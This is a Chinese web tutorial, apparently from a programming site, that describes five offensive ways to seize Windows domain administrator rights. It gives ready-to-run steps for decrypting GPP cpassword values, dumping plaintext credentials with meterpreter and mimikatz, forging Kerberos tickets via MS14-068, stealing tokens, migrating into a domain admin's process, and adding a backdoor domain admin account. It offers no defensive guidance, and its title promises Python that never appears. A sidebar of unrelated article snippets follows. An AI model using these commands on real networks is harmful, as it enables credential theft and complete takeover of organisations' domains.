Python安全获取域管理员权限几种方式操作示例

目录
  • 第1种方式:利用GPP漏洞获取域管理权限
  • 第2种方式:获取服务器明文登录密码
  • 第3种方式:使用MS14-068漏洞进行提权
  • 第4种方式:窃取域管理员令牌
  • 第5种方式:进程迁移

在大多数情况下,攻击者可以通过定位域管理员所登录的服务器,利用漏洞获取服务器system权限,找到域管理的账号、进程或是身份验证令牌,从而获取域管理员权限

第1种方式:利用GPP漏洞获取域管理权限

SYSVOL是域内的共享文件夹,用来存放登录脚本、组策略脚本等信息。当域管理员通过组策略修改密码时,在脚本中引入用户密码,就可能导致安全问题。

(1)访问SYSVOL共享文件夹,搜索包含“cpassword”的XML文件,获取AES加密的密码。

(2)使用kali自带的gpp-decrypt进行破解,从而获取域账号密码,直接登录域管理员账号获取访问权限。

第2种方式:获取服务器明文登录密码

使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。

meterpreter > getuid
Server username: BYPASS-E97BA3FC\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

加载kiwi模块

load kiwi

列举系统中的明文密码

creds_all

第3种方式:使用MS14-068漏洞进行提权

MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。

攻击流程:

第一步:利用MS14-068伪造生成TGT

MS14-068.exe -u bypass@test.com -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d  dc.test.com

第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书

mimikatz#kerberos::ptc TGT_bypass@test.com.ccache

第三步:获取域管理员权限。创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操作。

PsExec.exe \\dc cmd.exe
// 添加test用户
net user test abc123! /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins"  test /add /domain
// 查看域管理员
net group "domain admins" /domain

第4种方式:窃取域管理员令牌

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。

1、入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。

2、直接在meterpreter shell上执行添加域管理员

add_user test abc123! -h 域控的IP地址
add_group_user "Domain Admins" test -h 域控IP地址

第5种方式:进程迁移

入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。

1、获取域管理员列表

net group "Domain Admins" /domain

2、利用ps找到域管理员(TEST\bypass)所运行的进程,然后将shell进程迁移到域管理员所运行的进程中,成功后就获得了域管理员权限。如下图所示:

3、输入shell命令获取OS shell,在本机上使用Windows命令添加新的域管理员:

// 添加test用户
net user test admin@123 /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins"  test /add /domain

4、成功添加了域管理员账号test。

以上就是Python安全获取域管理员权限几种方式操作示例的详细内容,更多关于Python获取域管理员权限方式的资料请关注我们其它相关文章!

(0)

相关推荐

  • 解析PyCharm Python运行权限问题

    先通过 which python 获得 python 指令所在路径: $ which python /usr/bin/python 如上得到了其所在路径是 /usr/bin/python ,因此我创建了一个文件 ~/bin/python-sudo.sh ,然后填入: #!/bin/bash sudo /usr/bin/python "$@" 给到其执行权限: chmod +x ~/bin/python-sudo.sh 第二步 让当前用户执行 sudo python 不需要输入密码执行:

  • Django 忘记管理员或忘记管理员密码 重设登录密码的方法

    看到标题就知道有逗比忘了密码...没错就是我. 你也忘了密码? 不要着急! 0x00: 第一步:运行django shell python3 manage.py shell 0x01: 第二步:重设密码 >>> from django.contrib.auth.models import User >>> user = User.object.get(username='your_account') >>> user.set_password('you

  • Django管理员账号和密码忘记的完美解决方法

    发现问题 看着Django的教程学习搭建网站,结果忘记第一次创建的账号和密码了.结果搭建成功以后,一直无法登陆到管理页面,进行不下去了. 如图所示: 在网上找了很多的方法都不行,最后使用新建一个superuser的方法搞定,但是以前设置的那个账号好像还是不行. 解决方法的步骤: 1.新建一个用户名,使用如下命令: python manage.py createsuperuser 2.输入打算使用的登录名: Username(leave blank to use 'administrator'):

  • 使用Python防止SQL注入攻击的实现示例

    文章背景 每隔几年,开放式Web应用程序安全项目就会对最关键的Web应用程序安全风险进行排名.自第一次报告以来,注入风险高居其位!在所有注入类型中,SQL注入是最常见的攻击手段之一,而且是最危险的.由于Python是世界上最流行的编程语言之一,因此了解如何防止Python SQL注入对于我们来说还是比较重要的 那么在写这篇文章的时候我也是查询了国内外很多资料,最后带着问题去完善总结: 什么是Python SQL注入以及如何防止注入 如何使用文字和标识符作为参数组合查询 如何安全地执行数据库中的查

  • Pycharm以root权限运行脚本的方法

    因为权限不够,导致Pycharm在运行脚本时报错: socket.error: [Errno 1] Operation not permitted 网上有一些修改文件使得Pycharm运行脚本时可以不需要密码的以root权限运行. 但是大多操作雷同,估计是复制粘贴的,而且下方有几条评论表示IDE报错. 在跟随他操作到最后时发现无法继续,就干脆用简单粗暴的方式,以sudo启动IDE: sudo ./pycharm.sh 启动后需要手动导入项目与解释器,不然代码无法运行. 导入解释器后即可运行代码

  • Python安全获取域管理员权限几种方式操作示例

    目录 第1种方式:利用GPP漏洞获取域管理权限 第2种方式:获取服务器明文登录密码 第3种方式:使用MS14-068漏洞进行提权 第4种方式:窃取域管理员令牌 第5种方式:进程迁移 在大多数情况下,攻击者可以通过定位域管理员所登录的服务器,利用漏洞获取服务器system权限,找到域管理的账号.进程或是身份验证令牌,从而获取域管理员权限 第1种方式:利用GPP漏洞获取域管理权限 SYSVOL是域内的共享文件夹,用来存放登录脚本.组策略脚本等信息.当域管理员通过组策略修改密码时,在脚本中引入用户密码

  • python执行系统命令后获取返回值的几种方式集合

    第一种情况 os.system('ps aux') 执行系统命令,没有返回值 第二种情况 result = os.popen('ps aux') res = result.read() for line in res.splitlines(): print line 执行系统命令,可以获取执行系统命令的结果 p = subprocess.Popen('ps aux',shell=True,stdout=subprocess.PIPE) out,err = p.communicate() for

  • Python获取对象属性的几种方式小结

    本文将简单介绍四种获取对象的方法. 假如有以下的类: class Person(object): def __init__(self, name, age): self.name = name self.age = age def __str__(self): return 'name=%s, age=%s' % (self.name, self.age) 方法一:使用属性运算符 print(xmr.name) 方法二:通过属性字典__dict__ print(xmr.__dict__['nam

  • Android获取超级管理员权限的实现

    1.定义特殊的广播接收者,系统超级管理员的广播接收者 public class MyDeviceAdminReceiver extends DeviceAdminReceiver{ @Override public void onReceive(Context context,Intent intent){ //TODO } } 2.在AndroidManifest.xml文件中,注册超级管理员的广播接收者 <receiver android:name="com.example.recei

  • 基于$.ajax()方法从服务器获取json数据的几种方式总结

    一.什么是json json是一种取代xml的数据结构,和xml相比,它更小巧但描述能力却很强,网络传输数据使用流量更少,速度更快. json就是一串字符串,使用下面的符号标注. {键值对} : json对象 [{},{},{}] :json数组 "" :双引号内是属性或值 : :冒号前为键,后为值(这个值可以是基本数据类型的值,也可以是数组或对象),所以 {"age": 18} 可以理解为是一个包含age为18的json对象,而[{"age":

  • 使用 Python 实现文件递归遍历的三种方式

    今天有个脚本需要遍历获取某指定文件夹下面的所有文件,我记得很早前也实现过文件遍历和目录遍历的功能,于是找来看一看,嘿,不看不知道,看了吓一跳,原来之前我竟然用了这么搓的实现. 先发出来看看: def getallfiles(dir): """遍历获取指定文件夹下面所有文件""" if os.path.isdir(dir): filelist = os.listdir(dir) for ret in filelist: filename = dir

  • 详解Python修复遥感影像条带的两种方式

    GDAL修复Landsat ETM+影像条带 Landsat7 ETM+卫星影像由于卫星传感器故障,导致此后获取的影像出现了条带.如下图所示, 影像中均匀的布满条带. 使用GDAL修复影像条带的代码如下: def gdal_repair(tif_name, out_name, bands): """ tif_name(string): 源影像名 out_name(string): 输出影像名 bands(integer): 影像波段数 """ #

  • python中requests模拟登录的三种方式(携带cookie/session进行请求网站)

    一,cookie和session的区别 cookie在客户的浏览器上,session存在服务器上 cookie是不安全的,且有失效时间 session是在cookie的基础上,服务端设置session时会向浏览器发送设置一个设置cookie的请求,这个cookie包括session的id当访问服务端时带上这个session_id就可以获取到用户保存在服务端对应的session 二,爬虫处理cookie和session 带上cookie和session的好处: 能够请求到登录后的界面 带上cook

  • 详解Python+opencv裁剪/截取图片的几种方式

    前言 在计算机视觉任务中,如图像分类,图像数据集必不可少.自己采集的图片往往存在很多噪声或无用信息会影响模型训练.因此,需要对图片进行裁剪处理,以防止图片边缘无用信息对模型造成影响.本文介绍几种图片裁剪的方式,供大家参考. 一.手动单张裁剪/截取 selectROI:选择感兴趣区域,边界框框选x,y,w,h selectROI(windowName, img, showCrosshair=None, fromCenter=None): . 参数windowName:选择的区域被显示在的窗口的名字

  • 详解python连接telnet和ssh的两种方式

    目录 Telnet 连接方式 ssh连接方式 Telnet 连接方式 #!/usr/bin/env python # coding=utf-8 import time import telnetlib import logging __author__ = 'Evan' save_log_path = 'result.txt' file_mode = 'a+' format_info = '%(asctime)s - %(filename)s[line:%(lineno)d] - %(level

随机推荐